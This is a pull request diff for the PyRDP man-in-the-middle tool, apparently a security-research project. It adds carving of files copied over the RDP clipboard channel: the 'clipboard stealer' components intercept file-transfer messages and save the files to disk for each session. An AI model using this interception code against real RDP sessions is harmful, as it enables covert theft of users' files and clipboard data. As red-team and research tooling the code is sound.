Merge pull request #228 from GoSecure/clipboard-carve

Add Support for Carving Clipboard Files

CHANGELOG.adoc

@@ -10,6 +10,7 @@ For a detailed view of what has changed, refer to the {uri-repo}/commits/master[
 
 === Enhancements
 
+* `pyrdp-mitm` now carves and saves files transferred via clipboard ({uri-issue}100[#100])
 * Introduced the `pyrdp-convert` tool to convert between pcaps, PyRDP replay files and MP4 video files.
   Read link:README.md#using-pyrdp-convert[its section in the README for details].
   See {uri-issue}199[#199], {uri-issue}188[#188] and {uri-issue}170[#170].

pyrdp/enum/__init__.py

@@ -15,7 +15,7 @@
 from pyrdp.enum.scancode import ScanCode, ScanCodeTuple
 from pyrdp.enum.segmentation import SegmentationPDUType
 from pyrdp.enum.virtual_channel.clipboard import ClipboardFormatName, ClipboardFormatNumber, ClipboardMessageFlags, \
-    ClipboardMessageType
+    ClipboardMessageType, FileContentsFlags
 from pyrdp.enum.virtual_channel.device_redirection import CreateOption, DeviceRedirectionComponent, \
     DeviceRedirectionPacketID, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \
     FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, GeneralCapabilityVersion, \

pyrdp/enum/virtual_channel/clipboard.py

@@ -44,8 +44,25 @@ class ClipboardFormatNumber(IntEnum):
     METAFILE = 3
 
 
+class FileDescriptorFlags(Enum):
+    """
+    https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpeclip/a765d784-2b39-4b88-9faa-88f8666f9c35
+    """
+    FD_ATTRIBUTES = 0x04
+    FD_FILESIZE = 0x40
+    FD_WRITESTIME = 0x20
+    FD_SHOWPROGRESSUI = 0x4000
+
+
+class FileContentsFlags(IntEnum):
+    SIZE = 0x1
+    RANGE = 0x2
+
+
 class ClipboardFormatName(Enum):
     """
     https://msdn.microsoft.com/en-us/library/cc241079.aspx
     """
     FILE_LIST = "FileGroupDescriptorW"
+    DROP_EFFECT = "Preferred DropEffect"
+    FILE_CONTENT = "FileContents"

pyrdp/mitm/ClipboardMITM.py

@@ -1,25 +1,37 @@
 #
 # This file is part of the PyRDP project.
-# Copyright (C) 2019 GoSecure Inc.
+# Copyright (C) 2019-2020 GoSecure Inc.
 # Licensed under the GPLv3 or later.
 #
 
 from logging import LoggerAdapter
+from io import BytesIO
+from functools import partial
 
-from pyrdp.core import decodeUTF16LE
-from pyrdp.enum import ClipboardFormatNumber, ClipboardMessageFlags, ClipboardMessageType, PlayerPDUType
+from pathlib import Path
+
+from pyrdp.core import decodeUTF16LE, Uint64LE
+from pyrdp.enum import ClipboardFormatNumber, ClipboardMessageFlags, ClipboardMessageType, PlayerPDUType, FileContentsFlags
 from pyrdp.layer import ClipboardLayer
 from pyrdp.logging.StatCounter import StatCounter, STAT
-from pyrdp.pdu import ClipboardPDU, FormatDataRequestPDU, FormatDataResponsePDU
+from pyrdp.pdu import ClipboardPDU, FormatDataRequestPDU, FormatDataResponsePDU, FileContentsRequestPDU, FileContentsResponsePDU
+from pyrdp.parser.rdp.virtual_channel.clipboard import FileDescriptor
 from pyrdp.recording import Recorder
+from pyrdp.mitm.config import MITMConfig
+
+from twisted.internet.interfaces import IDelayedCall
+from twisted.internet import reactor  # Import the current reactor.
+
+
+TRANSFER_TIMEOUT = 5  # delay in seconds after which to kill a stalled transfer.
 
 
 class PassiveClipboardStealer:
     """
     MITM component for the clipboard layer. Logs clipboard data when it is pasted.
     """
 
-    def __init__(self, client: ClipboardLayer, server: ClipboardLayer, log: LoggerAdapter, recorder: Recorder,
+    def __init__(self, config: MITMConfig, client: ClipboardLayer, server: ClipboardLayer, log: LoggerAdapter, recorder: Recorder,
                  statCounter: StatCounter):
         """
         :param client: clipboard layer for the client side
@@ -30,9 +42,15 @@ def __init__(self, client: ClipboardLayer, server: ClipboardLayer, log: LoggerAd
         self.statCounter = statCounter
         self.client = client
         self.server = server
+        self.config = config
         self.log = log
         self.recorder = recorder
         self.forwardNextDataResponse = True
+        self.files = []
+        self.transfers = {}
+        self.timeouts = {}  # Track active timeout monitoring tasks.
+
+        self.fileDir = f"{self.config.fileDir}/{self.log.sessionID}"
 
         self.client.createObserver(
             onPDUReceived = self.onClientPDUReceived,
@@ -42,6 +60,16 @@ def __init__(self, client: ClipboardLayer, server: ClipboardLayer, log: LoggerAd
             onPDUReceived = self.onServerPDUReceived,
         )
 
+        # Dispatchers must return whether to forward the packet.
+        self.dispatch = {
+            FormatDataResponsePDU: self.onFormatDataResponse,
+        }
+
+        # Only handle file contents if file extraction is enabled.
+        if self.config.extractFiles:
+            self.dispatch[FileContentsRequestPDU] = self.onFileContentsRequest
+            self.dispatch[FileContentsResponsePDU] = self.onFileContentsResponse
+
     def onClientPDUReceived(self, pdu: ClipboardPDU):
         self.statCounter.increment(STAT.CLIPBOARD, STAT.CLIPBOARD_CLIENT)
         self.handlePDU(pdu, self.server)
@@ -52,27 +80,116 @@ def onServerPDUReceived(self, pdu: ClipboardPDU):
 
     def handlePDU(self, pdu: ClipboardPDU, destination: ClipboardLayer):
         """
-        Check if the PDU is a FormatDataResponse. If so, log and record the clipboard data.
+        Handle an incoming clipboard message.
+
         :param pdu: the PDU that was received
         :param destination: the destination layer
         """
 
-        if not isinstance(pdu, FormatDataResponsePDU):
+        forward = True
+        # Handle file transfers
+        if type(pdu) in self.dispatch:
+            forward = self.dispatch[type(pdu)](pdu)
+        assert forward is not None, "ClipboardMITM: PDU handler must return True or False!"
+
+        if forward:
             destination.sendPDU(pdu)
+
+    def onFileContentsRequest(self, pdu: FileContentsRequestPDU):
+        """
+        There are two types of content requests: SIZE and RANGE.
+
+        A new transfer begins with a SIZE request and is followed by multiple
+        RANGE requests to retrieve the file data.
+
+        The file is picked from the advertised clipboard file list with an index.
+        """
+        if pdu.flags == FileContentsFlags.SIZE:
+            if pdu.lindex < len(self.files):
+                fd = self.files[pdu.lindex]
+                self.log.info('Starting transfer for file "%s" ClipId=%d', fd.filename, pdu.clipId)
+
+                if pdu.streamId in self.transfers:
+                    self.log.warning('File transfer already started')
+
+                fpath = Path(self.fileDir)
+                fpath.mkdir(parents=True, exist_ok=True)
+
+                self.transfers[pdu.streamId] = FileTransfer(fpath, fd, pdu.size)
+
+                # Track transfer timeout to prevent hung transfers.
+                cbTimeout = reactor.callLater(TRANSFER_TIMEOUT, partial(self.onTransferTimedOut, pdu.streamId))
+                self.timeouts[pdu.streamId] = cbTimeout
+            else:
+                self.log.info('Request for uknown file! (list index=%d)', pdu.lindex)
+
+        elif pdu.flags == FileContentsFlags.RANGE:
+            if pdu.streamId not in self.transfers:
+                self.log.warning('FileContentsRequest for unknown transfer (streamId=%d)', pdu.streamId)
+            else:
+                self.refreshTimeout(pdu.streamId)
+                self.transfers[pdu.streamId].onRequest(pdu)
+
+        return True
+
+    def onFileContentsResponse(self, pdu: FileContentsResponsePDU):
+        if pdu.streamId not in self.transfers:
+            self.log.warning('FileContentsResponse for unknown transfer (streamId=%d)', pdu.streamId)
         else:
-            if self.forwardNextDataResponse:
-                destination.sendPDU(pdu)
+            self.refreshTimeout(pdu.streamId)
+
+            done = self.transfers[pdu.streamId].onResponse(pdu)
+            if done:
+                xfer = self.transfers[pdu.streamId]
+                self.log.info('Transfer completed for file "%s" location: "%s"', xfer.info.filename, xfer.localname)
+                del self.transfers[pdu.streamId]
 
-            if pdu.msgFlags == ClipboardMessageFlags.CB_RESPONSE_OK:
+                # Remove the timeout since the transfer is done.
+                # This cannot throw because if we got this far, the delayed task cannot
+                # have been executed yet.
+                self.timeouts[pdu.streamId].cancel()
+                del self.timeouts[pdu.streamId]
+
+        return True
+
+    def onTransferTimedOut(self, streamId: int):
+        if streamId in self.transfers:
+            # If the transfer exists, abort it. Otherwise, most likely the
+            # transfer has been completed. The latter should never happen due to the way
+            # twisted's reactor works.
+            xfer = self.transfers[streamId]
+            self.log.warn('Transfer timed out for "%s" (location: "%s")', xfer.info.filename, xfer.localname)
+            del self.transfers[streamId]
+            del self.timeouts[streamId]
+
+    def refreshTimeout(self, streamId: int):
+        self.timeouts[streamId].delay(TRANSFER_TIMEOUT)
+
+    def onFormatDataResponse(self, pdu: FormatDataResponsePDU):
+        if pdu.msgFlags == ClipboardMessageFlags.CB_RESPONSE_OK:
+            # Keep the file list if there is one.
+            # FIXME: There is currently no concept of transfer direction.
+            if len(pdu.files) > 0:
+                self.files = pdu.files
+                self.log.info('---- Received Clipboard Files ----')
+                for f in self.files:
+                    self.log.info(f.filename)
+                self.log.info('-------------------------')
+
+            if pdu.formatId == ClipboardFormatNumber.GENERIC.value:
                 clipboardData = self.decodeClipboardData(pdu.requestedFormatData)
                 self.log.info("Clipboard data: %(clipboardData)r", {"clipboardData": clipboardData})
+                # FIXME: Record all clipboard related messages?
                 self.recorder.record(pdu, PlayerPDUType.CLIPBOARD_DATA)
 
-                if self.forwardNextDataResponse:
-                    # Means it's NOT a crafted response
-                    self.statCounter.increment(STAT.CLIPBOARD_PASTE)
+            if self.forwardNextDataResponse:
+                # Means it's NOT a crafted response
+                self.statCounter.increment(STAT.CLIPBOARD_PASTE)
 
-            self.forwardNextDataResponse = True
+        # Do not forward the response if it is for an injected DataRequest.
+        forward = self.forwardNextDataResponse
+        self.forwardNextDataResponse = True
+        return forward
 
     def decodeClipboardData(self, data: bytes) -> str:
         """
@@ -88,9 +205,9 @@ class ActiveClipboardStealer(PassiveClipboardStealer):
     clipboard is updated.
     """
 
-    def __init__(self, client: ClipboardLayer, server: ClipboardLayer, log: LoggerAdapter, recorder: Recorder,
+    def __init__(self, config: MITMConfig, client: ClipboardLayer, server: ClipboardLayer, log: LoggerAdapter, recorder: Recorder,
                  statCounter: StatCounter):
-        super().__init__(client, server, log, recorder, statCounter)
+        super().__init__(config, client, server, log, recorder, statCounter)
 
     def handlePDU(self, pdu: ClipboardPDU, destination: ClipboardLayer):
         """
@@ -114,3 +231,52 @@ def sendPasteRequest(self, destination: ClipboardLayer):
         formatDataRequestPDU = FormatDataRequestPDU(ClipboardFormatNumber.GENERIC)
         destination.sendPDU(formatDataRequestPDU)
         self.forwardNextDataResponse = False
+
+
+class FileTransfer:
+    """Encapsulate the state of a clipboard file transfer."""
+    def __init__(self, dst: Path, info: FileDescriptor, size: int):
+        self.info = info
+        self.size = size
+        self.transferred: int = 0
+        self.data = b''
+        self.prev = None  # Pending file content request.
+
+        self.localname = dst / Path(info.filename).name  # Avoid path traversal.
+
+        # Handle duplicates.
+        c = 1
+        localname = self.localname
+        while localname.exists():
+            localname = self.localname.parent / f'{self.localname.stem}_{c}{self.localname.suffix}'
+            c += 1
+        self.localname = localname
+
+        self.handle = open(str(self.localname), 'wb')
+
+    def onRequest(self, pdu: FileContentsRequestPDU):
+        # TODO: Handle out of order ranges. Are they even possible?
+        self.prev = pdu
+
+    def onResponse(self, pdu: FileContentsResponsePDU) -> bool:
+        """
+        Handle file data.
+
+        @Returns True if file transfer is complete.
+        """
+        if not self.prev:
+            # First response always contains file size.
+            self.size = Uint64LE.unpack(BytesIO(pdu.data))
+
+            return False
+
+        received = len(pdu.data)
+
+        self.handle.write(pdu.data)
+        self.transferred += received
+
+        if self.transferred == self.size:
+            self.handle.close()
+            return True
+
+        return False

pyrdp/mitm/RDPMITM.py

@@ -310,10 +310,10 @@ def buildClipboardChannel(self, client: MCSServerChannel, server: MCSClientChann
         LayerChainItem.chain(server, serverSecurity, serverVirtualChannel, serverLayer)
 
         if self.config.disableActiveClipboardStealing:
-            mitm = PassiveClipboardStealer(clientLayer, serverLayer, self.getLog(MCSChannelName.CLIPBOARD),
+            mitm = PassiveClipboardStealer(self.config, clientLayer, serverLayer, self.getLog(MCSChannelName.CLIPBOARD),
                                            self.recorder, self.statCounter)
         else:
-            mitm = ActiveClipboardStealer(clientLayer, serverLayer, self.getLog(MCSChannelName.CLIPBOARD),
+            mitm = ActiveClipboardStealer(self.config, clientLayer, serverLayer, self.getLog(MCSChannelName.CLIPBOARD),
                                           self.recorder, self.statCounter)
         self.channelMITMs[client.channelID] = mitm